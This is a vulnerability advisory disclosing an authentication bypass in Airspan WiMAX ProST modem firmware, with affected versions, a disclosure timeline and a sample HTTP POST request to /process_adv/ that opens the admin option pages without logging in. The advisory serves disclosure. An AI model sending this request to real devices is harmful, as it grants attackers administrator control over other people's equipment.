[NEWS] Airspan WiMAX ProST Authentication Bypass Vulnerability

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Airspan WiMAX ProST Authentication Bypass Vulnerability
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SUMMARY

<http://www.airspan.com/> Airspan is "a worldwide leader in broadband
wireless with over 400 customers in more than 100 countries. As a founding
member of the WiMAX forum, Airspan has led the way in WiMAX, being among
the first wave of companies to achieve certification for its Base Station
and End User Devices". A vulnerability in Airspan WiMAX product allows
remote attackers to bypass the authentication mechanism used by the
product with very simple means.

DETAILS

Vulnerable Systems:
* Airspan ProST with firmware version prior to 6.5.40.0 with Hardware rev
prior to 4.1

Remote exploitation of an authentication bypass vulnerability in Airspan
ProST Modem management allows attackers to access all options available in
administration panel.

This issue is due to a failure of the application to properly handle
access validation functionality. The access gained through this issue
grants admin privileges.

Exploit:
The attacker have to craft a malicious request.

Example:
POST /process_adv/ HTTP/1.1
Host: 10.0.0.1
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

DialogText=&Advanced=1


It will display options page number #1, which is Software Download for
Firmware upgrade. You can increment 'Advanced' value to see others
options.

Disclosure timeline:
15/10/2007 - Initial vendor notification
16/10/2007 - Initial vendor response
13/03/2008 - Coordinated public disclosure


ADDITIONAL INFORMATION

The information has been provided by <mailto:admin@xxxxxxxxxx> Francis
Lacoste-Cordeau.



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